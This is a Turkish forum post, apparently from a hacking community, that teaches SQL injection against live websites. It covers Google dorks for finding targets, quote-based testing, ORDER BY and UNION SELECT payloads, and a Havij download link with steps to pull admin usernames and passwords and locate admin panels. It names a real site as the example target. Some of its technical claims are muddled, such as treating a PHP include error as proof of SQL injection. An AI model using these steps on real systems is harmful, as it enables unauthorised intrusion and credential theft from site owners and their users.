Selamun Aleyküm Kardeşlerim...şimdi sizlere SQL nedir? SQL injection nedir? nasıl kullanılır? manuel ve programlı anlatım birlikte adım adım anlatacagım.
SQL Nedir ?
# SQL (Structured Query Language) veritabanından bilgi çekme silme vb. gibi işlemler yapabilen bir dildir. Bulunduğumuz zamanda çoğu web sitelerinin alt yapılarında bu veritabanı vardır.
# SQL en yaygın olan güvenlik açığıdır ve çok tehlikelidir.
# SQL hazır scriptler (vbulletin,vb.) gibi yüksek güvenlik testlerinden geçirilmez.
# Bu web siteleri vertibanı ile anlaşmaları için SQLe ihtiyaç duyarlar.
SQL İnjection Nedir?
# SQL İnjection bir SQL açıklı siteye uygulanan İnjection türüdür.
SQL İnjection Olan Sayfayı Nasıl Bulabilirim ?
# SQL açığı olan bir sayfa bulabilmemiz için bize bir dork lazım bu dorku THT forumdan ya da Google amcadan bulabiliriz. Örnek bir Dork: inurl:galery.php?id= inurl:index.php?id=.
SQL İnjectionu Hangi Sayfalarada Kullanabilirim ?
# SQL İnjectionu kullanabilmamiz için sayfa urlsinde bize
id=değer", "search=değer" gibi değişken değerleri alabilen ifadeler lazımdır.
SQL İnjectionu Nasıl Kullanabilirim ?
# Evet Googledan dorkumuzu arattık sayfalar çıktı başlıyoruz sayfaları gezmeye gezdiğimiz sayfalarda
# URLnin sonunda php?id=45 veya daha farklı bir sayı yazar bu sayıların sonuna tırnak işareti () koyuyoruz.
# Örnek: www.örneksite.com/php?id=120http://www.fanatec.de/html/index.php?id=220 site bu sitede id değerimiz gördüğünüz gibi 220 id değerinin sonuna işaretimizi koyuyoruz ve Enterlıyoruz.
www.örneksite.com/php?id=120'
Sitede bir hata verirse :
Warning: include(../inc/content220\\\\\\\\\\\\\\\\.inc.php) [function.include]: failed to open stream: No such file or directory in /homepages/6/d27097856/htdocs/www.fanatec.de/html/index.php on line 162
Warning: include() [function.include]: Failed opening ../inc/content220\\\\\\\\\\\\\\\\.inc.php for inclusion (include_path=.:/usr/lib/php5) in /homepages/6/d27097856/htdocs/www.fanatec.de/html/index.php on line 162
Bunun gibi bir hata alırsak sitede bir SQL açığı vardır.
SQL Açığını Nasıl Kullanabiliriz ?
# SQL açığını bulduktan sonra sıra geldi İnjection yapamaya İnjectionu 2 türlü yapabiliriz.
1. Havij ve benzeri programlar ile
2. Manuel olarak
Manuel SQl inj Havijin yaptığı elle yapılanıdır.
Manuel olarak SQL İnjection Nasıl Yapılır ?
# Evet sitemizde kolon sayısını bulacağız bunun için ordey+by+ veya group+by+ komutunu kullanacağız
www.örneksite.com/php?id=120+order+by+100 bu yüz sayısını misal veriyorum.
Bu sayıyı gittikçe azaltıcağız.Taa ki hatamız gidene kadar.
www.örneksite.com/php?id=120+order+by+95
www.örneksite.com/php?id=120+order+by+40
www.örneksite.com/php?id=120+order+by+7
evet diyelimki 7 de hatamız gitti yani kolon sayımız 7dir.
Şimdi Kolonları ekrana yansıtmaya geldi sır****olon sayımız 7idi.
Bunun için union+select+... kodumuzu kullanacağız.
www.örneksite.com/php?id=120+union+select+0,1,2,3,4,5,6
yazıyoruz.Kolon sayımız 7 olduğu için 7ye kadar yazıyoruz.
Evet diyelimki 1 ve 5 kolonları yansıdı ekrana.
Not: Unutmadan bir notda geçelim eğer kolonlar ekrana yansımaz ise URLmizin sonuna -- ifadesini eklemeliyiz.
Havij Yolu ile SQL İnjection Nasıl Yapılır ?
indirmek için link : https://dosya.co/x8m4bqjwbxdu/Havih_1.15.rar.html
# Evet SQL açıklı sitemizi bulduk. >>>Fanatec.com sitemiz buydu bu şekilde Havije yapıştırıyoruz.
Analyze diyoruz Analyze ettikden sonra Tables diyoruz
Tables dedikten sonra Get Tables diyi kolonları çekiyoruz.
Çektikten sonra admin_passı seçip Get Columns diyoruz
Admin_pass ı açtıktan sonra username ve password seçeneğine tıklayıp Get data diyoruz ve username şifre elimizde
Admin panelini bulmak istiyorsak Find Admine tıklayıp URLmizi yapıştırdıktan sonra Start diyoruz ve Admin paneli elimizde.png
Eğitimin Sonuna Geldik Arkadaşlar Sürc-ü Lisan Ettiysek Affola.
Moderatör tarafında düzenlendi: